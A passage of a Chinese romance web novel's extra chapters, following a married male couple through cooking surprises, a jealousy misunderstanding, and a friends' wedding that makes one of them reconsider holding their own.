夜色中桃花眼蛊惑人心,祁钊没说话,只把人拽到自己怀里,用力地亲了下去。 不必多提。这天晚上自然非常的浪漫甜蜜。 可直到最后的最后。 祁钊听到了从岑康宁口中情不自禁脱口而出的“爱你”,但仍是没能等来那一句“老公。” 祁钊感到些许遗憾。 但因为岑康宁那天夜里天真烂漫的笑脸,而冲淡了这份遗憾。 又过了两日。祁钊决定改变策略。 也许让岑康宁重新喊出老公的关键词并非“浪漫”,而是“感动”。 毕竟浪漫这回事说穿了也就是那回事。 漂亮的烟花转瞬即逝。 摩天轮的永恒旋转也必须依赖电源。 一旦断电,浪漫不复。 可感动就不一样了。感动是生活中的点点滴滴,是暖阳和煦,是春风拂面。 祁钊自我反省。 过去的一个月里,他的确没怎么让岑康宁感动过。 也许是因为生活逐渐恢复了从前的状态,而且祁钊在申请新项目,这一段时间的工作也更忙碌了起来。有时早晨会没办法接送岑康宁。 也有时下班会很晚,被不得不加班的实验而拖住脚步,没能准时在下班后出现在岑康宁身边。 的确是祁钊的不对。祁钊承认,倘若是出自这个原因的话,那岑康宁不想要这样的老公也很合理。 可要怎样才能让岑康宁原谅自己呢? 祁钊将目光不由自主地落在了岑康宁不久前的朋友圈上—— “天塌了,喜欢的蛋糕店竟然倒闭了,那以后我还去哪里吃好吃的巧克力奶油蛋糕【哭】【哭】。” “巧克力蛋糕教程。” “奥利奥咸奶油夹心教程。” 祁钊在搜索框内打下如是两个标题。 两天后,祁钊购买的一系列烘焙工具与材料到齐。在岑康宁不知道的时间里,祁钊努力练习着做出岑康宁喜欢的巧克力蛋糕。 好消息是对于祁钊来说。 像蛋糕这种完全按照教程步骤走就可以复刻而出的食物完全不能难倒他。 坏消息是就在祁钊成功复刻出巧克力蛋糕的几乎同一时间。 岑康宁发布了新朋友圈: “报告家人们,我的快乐又回来了,在城北发现了蛋糕店的新分店!【耶】【开心】!”祁钊看着朋友圈里那个开心的笑脸表情,什么都没说,只是默默地将自己的蛋糕收了回去,次日开始改学炸鸡。然而跟蛋糕不同。炸鸡是一个非常容易获得的食物。 事实上就在两人目前所居住的地方三公里内,就有一家24小时营业麦当劳。也就意味着。只要岑康宁想。 在一天中的任何时候,他都可以最快速度地享用到现代食品业所出品的具有严格规定的标准炸鸡。 如此一来,对于祁钊的挑战便更困难了几分。 也就是说,他不仅要学会做出不输于麦当劳出品的炸鸡;而且还要刚刚好找到一个岑康宁想吃炸鸡,麦当劳却刚好无法供应的时刻。从概率学来讲。这无疑是一件非常小概率的小概率事件。 然而概率学基本原则之一便是:小概率不等于零。 于是在数日后的一天。还当真被锲而不舍的祁钊等来了这一天。 那天A市下了暴雨,滂沱大雨将整个城市淹没,所有的店铺都被迫提早结束营业,麦当劳也不例外。 而就是在这狂风骤雨的一天。两人休假在家。 很忽然地,正在看书的岑康宁放下书走到床边,看着窗外倾盆而下的暴雨,眨巴了下眼睛,小声嘟哝:“怎么办?这个天气忽然想吃炸鸡。”当时祁钊就坐在他的身边对着电脑写论文。 听到这句话时几乎瞬间原地站起,唇角勾出满意的弧线。 岑康宁对此一无所觉,正因为自己不太可能实现的愿望而苦恼叹气:“还是算了,这个天哪有店还营业,也别为难外卖小哥了。” “我可以营业。”祁钊转身道。 岑康宁:“你?”岑康宁起初很懵,根本没听明白祁钊这句“我可以营业”意味着什么。直到祁钊撸起衬衫袖口,带上厨房围裙。他目瞪口呆:"不是吧钊哥,你要下厨?"祁钊点头,神色淡然自信:"嗯。""你又饿了?不是刚吃过牛排吗?"岑康宁依然没搞清楚状况。 祁钊却打开冰箱,像变魔术一样,从被塞得满满当当的冰箱里拿出炸鸡需要的材料。 鸡腿。鸡蛋。面包糠。 岑康宁一双漂亮的桃花眼睁地愈发的大。 炸鸡,钊哥的营业竟然指的是炸鸡? 不是吧。 祁钊什么时候会做炸鸡了,真的假的? 他不是只会做鸡肉沙拉吗? 但紧接下来发生的一切却叫岑康宁不得不相信,只见祁钊动作飞快,先是解冻鸡腿,随后调制腌料,再然后给鸡腿肉上开花刀,使得鸡腿可以腌制充分。祁钊的动作熟练地就好像在麦当劳后厨打过三个月的工一样。 如果不是岑康宁十分确定祁钊没有偷偷背着他兼职。岑康宁还以为他被炸鸡员工夺舍。 “哇,钊哥你什么时候学会的?”岑康宁承认自己被感动到了。 尤其是在这样的一个恶劣天气,到处都点不到外卖的情况下,竟然可以足不出户就吃到这样鲜嫩多汁的炸鸡。 再配上一杯冰可乐。简直太舒适了。 “你就是童话里的阿拉丁!”岑康宁如是称赞。 而祁钊有条不紊将腌制好的炸鸡放入滚烫的油锅里,精准计时,随后将鸡腿捞出,过了一会儿又复炸。直到裹满面包糠的鸡腿表面变得金黄酥脆。 他将一个个色泽完美,口味不输麦当劳肯德基的炸鸡从锅中捞出,放进精致的瓷盘里,放到岑康宁面前。 岑康宁果然肉眼可见的感动,眼眶都有些微微泛红:“呜呜,钊哥你真的好棒,学这玩意费了不少功夫吧?” 祁钊很谦虚:“还好,我的学习领悟能力一向出色。” 岑康宁看着眼前诱人的炸鸡暗自咽下口水,说:“再出色也得练习很多遍吧?” 祁钊错开了这个话题,拿起一个他自认为水平最高的鸡腿递到岑康宁嘴边: “尝尝。” 啊呜一口。岑康宁想也没想咬了下去。 事实证明,祁教授对自己的评价果然没撒谎,他的学习能力何止不错,简直超凡。 岑康宁就没在其他地方吃到过这么好吃的炸鸡! 甚至有可能是滤镜或者是鸡肉的品种问题,岑康宁甚至觉得连他最喜欢的麦麦脆汁鸡都不如此刻祁钊手中的这块儿。 “到底怎么做到的?”“钊哥你是天才吧?” 岑康宁迫不及待地接过祁钊手中的炸鸡,配合着自己方才就准备好的冰可乐,整个人快乐的仿佛升天。而祁钊看到岑康宁快乐的模样,不自觉便也感到同样快乐的情绪在两人之间传递。 又众所周知。他的宝贝往往在吃完咸的以后想来一口甜的。 于是他再度站起身来,走向厨房。 …… 等岑康宁意识到祁钊已经很久都没出现的时候,祁钊已经打发好了第一部分巧克力奶油。 正在准备做蛋糕胚的时候。岑康宁端起吃过炸鸡的盘子走进厨房发现了祁钊的秘密。 “不是吧钊哥,你别告诉我你还会做蛋糕?”“如果我现在告诉你了呢?”祁钊抬起脸来,认真地说。 "那我一定会非常感动的。"岑康宁笃定道。 祁钊说:“好,那你开始感动吧。” 岑康宁于是放下盘子,嗖地一下跳到祁钊身边,随后伸出胳膊,从后抱住了祁钊的腰,把头放在祁钊的肩膀上,眷恋地蹭了蹭:“已经感动的不得了,你怎么这么好啊钊哥?" "……嗯?" 这么感动了还叫钊哥?祁钊眉尾微微上挑 而岑康宁背对着他,不明就里,依旧整个人扒在祁钊的身上,像一个大型的毛绒挂件。 “好喜欢你。”“太幸福了!” "到底什么时候偷学的,怎么都不告诉我一声?""学的很辛苦吧?有没有哪里受伤?" 毛绒挂件抱着祁钊,一刻也不停地嘟嘟哝哝,期间说了许许多多毛茸茸软乎乎像小熊软糖一样甜的甜言蜜语。 祁钊忍得很辛苦。 才没有放下手中做到一半的蛋糕,转身将毛绒挂件一口吃掉。 而也许是皇天不负有心人。终于,祁钊这么多天来的努力看到了一丝明亮的曙光。 那些从夹缝里挤出来的时间,第一次面对炸锅时因为没有经验而被烫伤的皮肤,还有连日以来郁闷不安的情绪……通通即将在那两个字再度从岑康宁口中说出时立刻变得不值一提。 毛绒挂件依然是爱着他的。像两人最开始结婚的那一个月一样爱着他。两人的爱情至死不渝永远保鲜。 可毛绒挂件却在最关键的时刻。忽然话锋一转—— “我想尝一口奶油,老……老师!” 祁钊:“?” 祁钊眼神蓦地暗了下去,与此同时他失神地将手中的鸡蛋随手一磕。 下一秒啪。鸡蛋壳猛地碎了一地。 94、番外三 "咦?鸡蛋碎了?钊哥手抖啊?" 岑康宁带着笑意在祁钊耳边响起。 祁钊则面无表情低头,带着手套捡起散落在地上的一地狼藉。 “没事。”他如是道。像是在安慰岑康宁,又像是在安慰自己。岑康宁一无所觉,在这个小插曲过后依旧嘟嘟哝哝地围在祁钊身边。一会儿表白。一会儿给祁钊帮忙。 虽然允许岑康宁帮忙的结果是原本需要一个多小时就能烤出来的蛋糕足足耗费了两个小时才烤好。 但祁钊始终没忍心把人赶走。毕竟谁能忍心拒绝一只热情又毛茸茸的小猫呢? 反正祁钊是无法拒绝。 无法拒绝岑康宁的祁教授自然也不会将小猫不叫老公的原因归结于两人感情有变。直到目前这个时刻为止。 祁钊仍然固执地认为,绝对是两人之间,尤其是岑康宁对自己产生了一些莫须有误会。所以也没关系。只要误会解除了就好。 祁钊这样想着,想到岑康宁是害羞内敛的性格,开始着手给岑康宁发送文章链接: "二十年婚姻甜蜜至今,我们俩做对了这一点——" “新婚夫妻维持爱情保鲜最关键的一点是什么?沟通!” “对老公不满了怎么办?十个好办法教给你……” 经过祁钊精挑细选。 一共有五篇他认为很合适岑康宁阅读的公众号文章被发送了过去。 随后他放下手机。安心走向实验室。 可当数个小时后,祁钊从实验室里走出来,所收到的回复,却并没有如同他想象一般等来来自岑康宁的沟通“小作文”。反而是一个硕大无比的问号。在粉红色的表情包小猪头顶上空肆意飘扬。 某咸鱼表示费解:【被盗号啦?】 祁钊:【……】唇角的弧度蓦然收敛。祁钊的表情也前所未有严肃起来。 他并没有因为岑康宁发来的表情包就将此事轻描淡写揭过,反而,因为岑康宁无所谓的态度,他认为问题愈加严重了。 一定是有什么误会。已经深到了岑康宁在自己面前连提都不愿意提的程度。 既然如此…… 祁钊将目光转向办公室里的台式电脑。 半小时后。 “会捕猎的猫”久违上线。 而在数公里外的公寓,岑康宁亦是下班后准时上线游戏。 岑康宁本是打算来顺手清清日常的。 没想到自己刚一上线,就遇到一个很久没聊过的游戏好友,他很是惊喜: “嗨猫猫,好久不见。” 会捕猎的猫:“你也是。” 爱摆烂的鱼:“我可没有,我几乎天天上线的。” 会捕猎的猫:“嗯。” 爱摆烂的鱼:“怎么感觉语气不太对?心情不好啊?” 会捕猎的猫:“最近遇到了一些问题,想问问你如果是你的话会如何处理。” 爱摆烂的鱼:“行啊,问呗。” 会捕猎的猫:“是这样的,我结婚了……” "???"爱摆烂的鱼: 会捕猎的猫:“总之就是这样。” 爱摆烂的鱼:“我总感觉按照你所描述的状态,你老婆应该很爱你啊,你别瞎担心。” 会捕猎的猫:“我知道我老婆爱我,我也爱他。但现在的问题是,我认为他对我可能有某些误会。” 爱摆烂的鱼:“有误会很正常,婚姻嘛,怎么可能一帆风顺。” 会捕猎的猫:“所以如果是你呢?如果你对你的老公有误会会怎么办?” 爱摆烂的鱼:“不可能,我对我老公没误会。” 会捕猎的猫:“我说如果。” 爱摆烂的鱼:“没有如果,我跟我老公感情很好的,我特别爱他。” 会捕猎的猫:“……了解了。” 电脑前。 祁钊望着屏幕中的聊天记录,清冷自持的眼神里不自觉泛起几分喜悦。 他蓦然松开键盘上的手指。想: 无所谓了。误会又怎样? 不叫老公又如何?反正岑康宁爱他,很爱他。 所以他又何必庸人自扰,因为一点小事而耿耿于怀呢? 也许最近一段时间岑康宁的确对他在某件事上有所不满。 但祁钊相信。给岑康宁一定的时间。 等这件事过去,他自然会愿意告诉他。 一想到这里祁钊立刻便有些迫不及待地下班,将所有的烦恼都抛至脑后,此时此刻唯一的想法就是最快速度见到岑康宁。于是在五分钟内安排好所有事宜,十分钟内抵达地下车库。仅仅二十分钟后。他便一身风尘仆仆回到公寓。 连风衣外套都顾不上脱,直接走到次卧,将正在开心打游戏的岑康宁从座位上抱了起来,亲在他的脸颊。岑康宁显然是被亲懵了。一边回应着来自祁教授的吻,一边好奇: “怎么了钊哥?今天有什么好事发生吗?” 祁钊轻抚着他的脸,垂眼看着他鼻翼上那颗漂亮的小痣,哑着嗓子说:“有。” “什么好事?”岑康宁好奇。 “我比昨天更爱你一点,算吗?” “这怎么能算啊?这不是必须的吗?”岑康宁虽然这样吐槽着,但眉眼中的笑意却愈发无法遮掩。 他亦是搂紧了祁钊,嗓音甜蜜: “我也爱你。” "每天都更爱一点。" ……后来那天岑康宁仍旧没有叫出“老公”这两个字,但祁钊却已然在一声声爱你中逐渐释怀。 不叫就不叫吧。 老婆喜欢就好。 尽管遗憾,可祁钊决定尊重岑康宁的选择。 无论出自什么理由。亦或者是毫无理由,只是单纯不想。全凭岑康宁乐意。 于是这样又过了几天,就在祁钊已经差不多快要忘记被喊“老公”是什么感受的时候。很忽然地。他清晰无比的听到了那两个音节。 “老公!你怎么在这儿?” 熟悉的声音于身后响起,那一瞬间祁钊以为自己因为过于期待,而产生了错觉。 可下一秒。轻巧的脚步声接近,伴随而来的是淡淡的海盐柠檬香气。 紧接着,小臂被牢牢挽住。有一只手在别人看不到的地方,重重地捏了他一下。 祁钊:“……” 做了坏事的某人面上却云淡风轻,仍带着挑不出来的甜美笑意。 “嗨,你们好,我是岑康宁。”岑康宁开口打招呼道。 孔宇真吐槽道:“知道你是岑康宁,也知道你是师兄的老婆,都老熟人了,不用再重复介绍一遍了吧?”岑康宁表情不变,半眯起桃花眼:“孔博你是老熟人,你身边的这位先生可不是。” 话音落下。 孔宇真身旁那位气质温和,面容清秀的青年脸上也浮现出一丝笑意。 安哲主动伸出手来:“你好,我叫安哲,大家都叫我安。” “你好。”岑康宁当然也没有那么小气,连握手都不愿意。 不过……握完手后,他的视线不由自主落在安身上。不得不承认。安本人比照片里好看多了。 似乎是很不上相的类型,真人的气质更好,温柔典雅,难怪孔宇真一直喜欢他。 可问题又来了。为什么会出现在这里? 难道安哲也来P大生科院工作了? 一想到这个可能,岑康宁听到自己心脏咯噔一声响。他承认,他就是小气。 虽然知道祁钊不可能跟安哲有什么,但看到祁钊出现在安哲的身边,他就是莫名不爽。如果之后安哲还有可能跟祁钊朝夕相处的话。他就更不爽了。 所以安哲是……下意识地,岑康宁又“掐”了祁钊一下。“我带安来P大逛,顺带约师兄吃饭呢。” 孔宇真大大咧咧地说明来意:“不过师兄才刚刚拒绝我,要不嫂子你劝劝?” 安哲道:"宇真算了,师兄拒绝我们肯定是有正事要忙,我们不要让他为难。" 孔宇真:“忙什么忙啊,他就是要去接老婆下班!我还不了解他了,是不是啊嫂子?” 岑康宁脸莫名一烫,下意识否认:“不是的,钊哥是要去做实验。” 孔宇真探究的眼神看向祁钊。 刚刚才做完实验的祁钊轻抬眼镜,没有拆穿自家老婆,说:“是的,马上是有一个实验。” 孔宇真跟安哲的眼神里于是同时泛起失望,不过跟情绪外露型的孔宇真截然相反,安哲眼中的失望转瞬即逝,很快又被失望所替代。 "啊,真的有实验……" "算了吧宇真,下次有机会的时候我们再约。""可是下次再有机会都不知道是什么时候了!" 孔宇真抱怨。 "总会有机会的。" 安哲轻声道,旋即抬眼看向岑康宁,笑着说:“下次吧,至少在你们两个婚礼的时候,我们应该可以再次见面。” "….…" 安哲走后,岑康宁并没有第一时间松开祁钊的胳膊,脑海中仍旧盘旋着安哲最后的表情。 他是释然了呢?还是没释然? 岑康宁捉摸不透,顿觉烦躁,干脆把气撒在祁钊身上:“都怪你!”祁钊莫名又被掐了一下,感到很是莫名。 “怪我?”“是啊,不怪你还怪谁?”岑康宁无能狂怒。 他总不能怪安哲吧?想也知道肯定不是安哲的错,绝对是祁钊在某个不经意的瞬间又随便散发魅力。 就好像当初温泉酒店那身儿白色西装,有如孔雀开屏。最关键的一点是。当时他还不在现场。 啊啊啊—— 一想到这里岑康宁就更气了!祁钊到底是做了什么,才让安这样优秀的人也念念不忘? “我不明白。”祁钊道。“哪里不明白?”"哪里都不明白。" 从岑康宁出现的那声忽如其来的“老公”开始不明白,再到后来岑康宁忽然捏他三下也不明白。 至于后来岑康宁莫名其妙郁闷低落下来的情绪,祁钊就更不明白了。 不过他倒是明白一点。岑康宁不太开心。 岑康宁不开心就是世界上最重要的课题。 于是祁钊认真询问:"宝宝,你在生什么气?" 岑康宁惊讶睨他一眼,十分意外地发现祁钊似乎没有在装傻,而是真的不明就里。 岑康宁惊呆了:“别告诉我你不知道安哲暗恋你?” 祁钊:“……” 祁钊那惊讶的神色看上去仿佛就压根没想过安跟暗恋这两个字能搭上的一天。 别说安哲了。 岑康宁都被这人的迟钝整地有点子无语。 “拜托钊哥,安哲刚刚看着你的眼神就差没把‘我虽然还是喜欢你,但你结婚了我不能越界’用大字写出来了,结果你竟然不清楚?” “不清楚。” 祁钊的脑海中飞速闪回过所有与安哲有关的回忆,再度重复了一遍后,冷静道: “他从未告诉过我。” “要是告诉你就不是暗恋了。” “原来如此。” “可是你真的一点感觉都没有吗?你们以前在斯坦福的实验室一起共事工作的时候,难道他对你就一点儿都不特别?” "……没有特别。" 这声没有略有迟疑,因为祁钊并不清楚安哲的“特别”意味着什么。 但很快祁钊语气笃定道:“不过就算有也无关紧要,我与他没有任何超出同事关系以外的交集。” “那我之前问你的时候,你为什么说他好?”无语凝噎了好一会儿以后,岑康宁很是癫狂,只觉得自己从前吃得那些飞醋忽然间变得十分可笑。 祁钊稍微回想了一番,发现自己的确说过这句话。但那天的话他还没说完就被打断。 原话其实是:“安很好,他很擅长做实验。” “他做实验的水平确实好。” 祁钊至今认为自己并没有评价错误,但对于岑康宁产生误解这件事,他深感抱歉。 “对不起宝宝,是我的错,我不该没把话说完。” “……”意识到这是一个乌龙事件以后的岑康宁那颗从方才开始悬在的心终于落地。他捂着胸膛,深深地吸了一口气,脸上消失的笑意终于慢慢浮现,表情与语气也一下子变得轻松不少:"早说啊钊哥,早说我就不着急了。"祁钊眉尾微挑。岑康宁这次没有忽略他的表情,很明显地愣了一下:"嗯?怎么是这个表情?" 事到如今,祁钊也没有隐瞒的必要,干脆直接趁此机会直接将连日以来的烦恼说出了口。 "又变成了钊哥。"祁钊指出:“分明刚刚还是老公。” 岑康宁汗颜:“额这个……” 祁钊不想把这个问题拖延下去,用手将某个又想溜走转移话题的小猫提溜回来,严肃正经地问:“告诉我好吗?” “不太好,我们能不能换个话题?” “我说过,我们之间没有不能说的话题。如果是因为我某件事做的不对,让你产生了情绪或者误会,你大可以直接了当的告诉我。告诉我,我知道错了就会改正,可如果你连说都不说。" 顿了顿,祁钊说:“我会伤心。”他没有说任何的重话。也没有因为这件事想要责怪岑康宁。原本祁钊都已经决定释怀,放下这件事了;可直到方才,岑康宁再度叫出两个字的时候,祁钊才意识到,原来他永远都无法释怀。这辈子都不可能释怀的了。这件事将始终横亘在他心头。成为一道挥之不去的伤疤。而紧接着,当他又意识到,原来岑康宁因为很久前一句没有说完的话误会至今的时候。祁钊便决定,与其让这道伤疤愈来愈深,倒不如现在就将它剖开,将它直白地送到岑康宁眼前。 无论接下来的回答是怎样。祁钊都做好了充分的心理准备去接受。可饶是祁钊做好了一切准备,却没有料到,看到这道伤疤后的岑康宁会是这样一个反应。只见那张漂亮白皙的脸腾地一下全红了,红得简直像一个熟透了的苹果。且在祁钊探究的目光下,越来越红,从脸颊红到脖子根,甚至大有蔓延到锁骨以下的架势。 祁钊于是愈加不解:“到底为什么?” 终于,岑康宁再也承受不住地将脸埋在祁钊胸前,自暴自弃—— "我能怎么办,我一叫老公你就要做,一天做好几次我也很崩溃呀! 第95章番外四 婚后第三个月。夫夫二人受邀出席郭振与齐敏敏的婚礼。 收到电子请柬时岑康宁十分惊讶,因为振哥跟敏敏姐的孩子都快一岁了,他还以为两人早就办过婚礼,结果竟然没有,岑康宁顿感惊奇。 “是忽然改变主意了吗振哥?”岑康宁在电话里问。 郭振哈哈大笑,显然也是最近人逢喜事精神爽,很畅快地道:“不是的,一直都想办来着,但我之前不是没实力么。” 听到振哥这么说。岑康宁才算了然。 原来是这样。 其实仔细一想也合理,振哥满打满算毕业还不到一年,两人结婚领证的时候,他还在读博。 读博虽然有工资也有补助。但显然也就勉强够个糊口,要不振哥当年也不可能因为兼职跟岑康宁认识。办婚礼是一笔不小的开销。尤其是小夫妻俩不想让双方父母插手,想办一个合自己心意的婚礼,就更得自己出钱。于是婚礼就这么一拖再拖。拖到俩人孩子都有了。郭振总算博士毕业,入站博士后,才开始有了不错的收入。“原来如此,那我明白了振哥,放心吧,那天我没事儿,保证出席。”岑康宁道。郭振却对岑康宁的保证还不算完全满意,笑道:“不要光是你啊,你老公呢,也带上啊。上回钊哥来我家接你,结果我喝醉了,醒来以后听敏敏说我都快后悔疯了,这次说什么也得把人带过来让我要个亲笔签名吧?"“这个……”岑康宁想了想,而后很老实地说:“振哥,这事儿我自己没办法替他做主,但我保证给你好好问问怎么样?”“行,那就这么一言为定。”电话被挂断。岑康宁当天晚上便告诉了祁钊。“钊哥,一起去吧,振哥跟敏敏姐真的都是特别好的人。”祁钊迟疑了一番,问:“是那天你送葡萄酒的那对儿夫妻吗?”"对对,就是他们。"岑康宁听到祁钊还记得振哥他们,眼前立马一亮,补充道:“振哥他还是你的忠实粉丝呢。”祁钊想了想,答应了这件事:“好。”“好耶,太好啦!”岑康宁看上去很高兴。岑康宁高兴祁钊便也高兴,不过祁钊很好奇:“为什么这么高兴?”岑康宁有点儿不太好意思承认,但最后还是告诉了祁钊。“其实我还没参加过婚礼,所以有点儿好奇。”他毕竟年纪还小。今年才23岁,刚刚大学毕业。对于岑康宁来说,身边的大部分同龄人,像是306宿舍的舍友们虽然也有谈恋爱的,但结婚的是一个都没有。大学如此。初高中同学就更不必提了。事实上岑康宁算是同龄人里结婚最早的一批。他自己都没办。其他人就更别提。“小时候黄家倒是有亲戚结婚,不过是不可能带我去的。”岑康宁老实道。“所以就想去看看,当然主要目的是为了祝福敏姐跟振哥,毕竟他们俩人很好,以前经常帮我。”“好。”祁钊伸出手,轻轻捏了岑康宁的脸颊一下,说:“我陪你。”—婚礼在一周后举行。那天是个大晴天。岑康宁为了表示庄重,特意将自己之前领结婚证在阿玛尼买的那身儿正装穿上了。一身米色高级西装的他看上去格外贵气。像个漂亮的小王子。而小王子的身边,一身黑色西装,身高高达187.45的祁钊则气质沉稳冷酷,直接带上墨镜就可以cos王子保镖。岑康宁看到祁钊这身儿打扮后没忍住被逗乐了:“钊哥今天怎么不穿白色?”在他看来祁钊真的是最适合穿白色的人没有之一。但祁钊扣紧衬衫袖扣,淡然道:“又不是我结婚。”岑康宁想了想,也对哦。不是自己结婚。他穿这么好看做什么?“那我要不要也换一身。”岑康宁看着身上的米色西装道。“不用。”祁钊道。“为什么?这样难道不会有点儿抢风头?别人秋雅结婚,我在那儿又唱又跳的。”岑康宁开玩笑说。结果祁钊伸出手,替岑康宁轻轻整理好领结,认真说:“因为你穿什么都一样的抢眼。”婚龄长达三个月岑康宁没绷住,当场被老公夸成了个大红脸。虽然祁钊其实没想过夸。只是说实话而已。但不得不承认,对于岑康宁来说,有时候说实话就是最好的夸赞。因为这个缘故。一直到抵达婚礼现场,岑康宁整张脸都洋溢着笑意。而到了婚礼现场以后,笑容没有消失不见,只是被震惊所取代。“好漂亮啊钊哥。”岑康宁看着眼前漂亮又浪漫的场地,露出不可思议的表情。正是春暖花开的好时节。振哥跟敏敏姐非常明智地将婚礼场地选择在了户外草坪。一大片一眼望不见尽头的绿茵草地上。淡粉色的鲜花点缀其中。和煦阳光下,整个场景简约而不简单,浪漫又漂亮。不仅如此,应该是敏敏姐的主意吧,她竟然把整个婚礼场所做成了一个游园会形式。游园会一共有三个小游戏。每一个小游戏都精心准备过,即好玩又有趣。而在通过完三个小游戏以后,每一位到场的嘉宾都会获得夫妻俩准备的小礼物。是一个喜糖盒。盒子里还印有振哥专门手写出来的祝福语。岑康宁得到的祝福语是“论文多多”,他打开后立刻决定把这个祝福语送给祁钊。而祁钊的祝福语则是“天天开心”。自然,这张落到了岑康宁手里。岑康宁拿着两个喜糖盒在现场拍了许多照片,看上去又开心,又隐隐有一层说不明道不明的情绪。但还不等他自己想清楚那情绪到底意味着什么。很快,婚礼仪式即将开始,所有人都将注意力转移到新郎新娘身上,岑康宁自然也不例外。伴随着盛大的音乐。一身缎面婚纱的齐敏敏牵着一身银灰色西装的振哥走了出来。两人看上去又般配又幸福。振哥应该是减肥了,为了在婚礼上能够穿上合身得体的西装足足瘦了七八斤。敏敏姐也瘦了点儿。不过不多。她最突出的变化是皮肤状态变得非常好,整个人白里透着粉,穿上婚纱格外的漂亮。岑康宁还是第一次见到振哥红着眼睛的样子。在他的印象里,振哥一直一个非常成熟可靠的形象,如果之前告诉岑康宁振哥会哭,那岑康宁一定会完全无法想象。毕竟振哥可是一个博士读了足足五年的人,连五年的博士生涯都没把他打倒,这世界上竟然还有能够让他落泪的事情。可是原来爱情就是这样一种东西。让振哥这样的铁打的汉子也难以抑制的落下泪水。"……我要感谢我的老婆,齐敏敏。谢谢你在我一无所有的时候义无反顾嫁给了我,谢谢你在我博士完全没办法毕业,有可能变成一个废人的时候也还能留在我的身边;谢谢你这么伟大无私,受了那么多的辛苦跟委屈生下我们的宝宝。说真的,老婆,我觉得这辈子最幸运的事情不是我竟然博士能毕业了,而是像我这样的人竟然能够走狗屎运遇见了你。有时候我在想,也许是因为遇到你耗费了这辈子加上辈子所有的运气,所以上天才会在其他事情上对我诸多考验。如果真的是这样的话,那我就要告诉老天爷一句了——你尽管放马过来吧!我只要有齐敏敏在,就永远都不会怕你!"郭振的发言将全场气氛推到了最高潮。话音落下所有来宾掌声雷鸣。岑康宁也不例外,将自己的两个手拍的啪啪作响,掌心都红了也不在意。而在这种氛围下,新娘子的发言却很务实,她接过话筒,非常实际地吐槽了一句:“老天爷,你可千万别听这个大傻子的话。你给我们的考验已经够多了,我好不容易才扛过去,接下来可千万别给我考验了。”"哈哈哈哈!"齐敏敏的发言让全场人笑出声来。众人的情绪从方才的感动立刻转化为开心。见到大家都笑出声来以后,齐敏敏才也唇角一勾,勾出个漂亮的笑容来:“不过呢,不管有没有考验。我想说的是,郭振,接下来的路我们一家三口,一起走下去。”齐敏敏说完这句话郭振就泪崩了。一个一米八一百六十斤的大男人,扑在老婆怀里哭得不能自已,婚礼差点儿进行不下去。而岑康宁不得不承认的是。见到这一幕,他亦是眼眶湿润。原来,参加婚礼竟然是这样一种感觉。很奇妙,岑康宁一时不知道该用什么言语来形容。怎么说呢?就是一方面,他真的很为振哥跟敏敏姐的爱情而感动。也许他不是场上最了解两人爱情经历的人。但他知道的也绝对不少。他知道振哥是怎么在敏敏姐怀孕期间一边崩溃地准备自己的毕业论文一边到处兼职打工的。他也知道敏敏姐是如何痛下决心在事业上升期留下两人的孩子的。他更知道。两人一路走来不是完全没有摩擦。并不是童话里那样的完美的爱情,可是却拥有了童话般的结局。所以能够走到今天修成正果,一路走到现在,两人真的很不容易。但另一方面。岑康宁承认,内心深处的某个角落里,看着相拥在一起接受众人祝福的两人,他难免有些羡慕。他曾经说过自己不办婚礼的。因为觉得两个大男人的婚礼很尴尬,有什么好办的?婚礼上的那些所谓誓言也很假。难道誓言说出来就会有效果吗?多少夫夫夫妻在婚礼上信誓旦旦,但转头就背弃诺言,以至于岑康宁一直认为,婚礼是非常没必要的繁文缛节。所以当祁钊问他:“我们要不要办婚礼”的时候,他想也不想地拒绝了。“不要。”“我不想办。”岑康宁记得自己当时这么斩钉截铁的说道。虽然祁钊对此有些遗憾,但当时见到岑康宁这样的坚决的态度,最后还是选择了尊重岑康宁的意见。然而人根本无法理解三个月前的自己。此时此刻站在振哥与敏姐婚礼现场的岑康宁,像是被一只猫用爪子轻轻拨动观念,想法前所未有的改变了。岑康宁看着在众人祝福下拥吻的夫妻俩。脑海中“我也想要”的念头一闪而过。 那天后来的敬酒环节。 郭振终于拥有了梦寐以求的跟男神合影机会。 拍完照以后他说要把跟祁钊的合影打印出来贴在自己的实验室门上,以保佑他实验顺利。 祁钊对此不置可否。只简单补充道自己的实验成功率也不是百分之百。 郭振的反应则逗乐了全场宾客:“祁神,我不要百分之百,百分之三十也行啊!我现在还百分之十都不到。” 齐敏敏恨铁不成钢地锤了自家老公一下,说:“你个没出息的给我滚一边去多看看书吧。” "呜呜老婆。" 郭振于是含泪退居二线,换成齐敏敏端着酒杯上前。 "宁宁,祁教授,谢谢你们俩能来。" “谢什么谢敏敏姐,我才要谢谢你邀请我们,你们办的真的特别漂亮,是我参加过最好的一场婚礼。”岑康宁笑着道。 “哇宁宁,你也太会说话了,你这把我夸得,我都要不会了。”齐敏敏半点不夸张,被夸得脸都有点儿红了。 岑康宁还要再认真补充一句:“是真的,今天敏敏姐你特别美,振哥也很帅。” “我还以为你要说郭振也算是个人呢。” “哈哈,那倒不至于……” “开玩笑开玩笑。今天大家能玩得开心我就高兴。”齐敏敏笑着,大大咧咧地同二人碰杯。 岑康宁酒杯里装的是可乐。齐敏敏的酒杯里也只是白开水。 但两人硬是碰出了喝五十度白酒的架势来。 碰完酒杯以后,齐敏敏忽然想起一件事儿来,问:“对啦,我还想问你们呢,什么时候能喝上你们的喜酒?我可是把红包都准备好了。” “我……” “我们还没决定好!” 赶在祁钊回答前,岑康宁抢先一步回答了齐敏敏的问题,说完朝身边的祁钊眨了眨眼,故作轻松道:“办不办还说不定呢,对不对钊哥?”齐敏敏倒没有就此问题过多追问。 毕竟办婚礼这件事办不办,怎么办,都应该由夫夫俩自己决定,旁人无权置喙。 不过,在岑康宁忙着因为齐敏敏放过自己而松了口气的时候,在他看不到的方向,祁钊却若有所思地,看了自家老婆一眼。岑康宁对此一无所觉。仍陷入前所未有的纠结。 到底办不办呢?其实那天过后都快一个星期了,他还没做好决定。 不办吧。岑康宁是真的有点被齐敏敏跟郭振的婚礼所触动。也想跟祁钊光明正大的接受所有人的祝福。 可办吧…… 办婚礼真的是一件非常麻烦的事情。 在哪里办。怎么办。邀请谁? 这些问题通通让岑康宁感到烦恼。当然最困扰他的还是,他曾经是那么斩钉截铁的告诉钊哥自己不想办婚礼,现在忽然转变口风,会不会显得他这个人很多变?岑康宁实打实的因为这件事而感到苦恼。就这样过了一个星期还没有做出最后的决定。 直到一星期后他在书房里偶然看到祁钊在p a d上看各种风景优美的地方,以为祁钊是想度假,便问他: 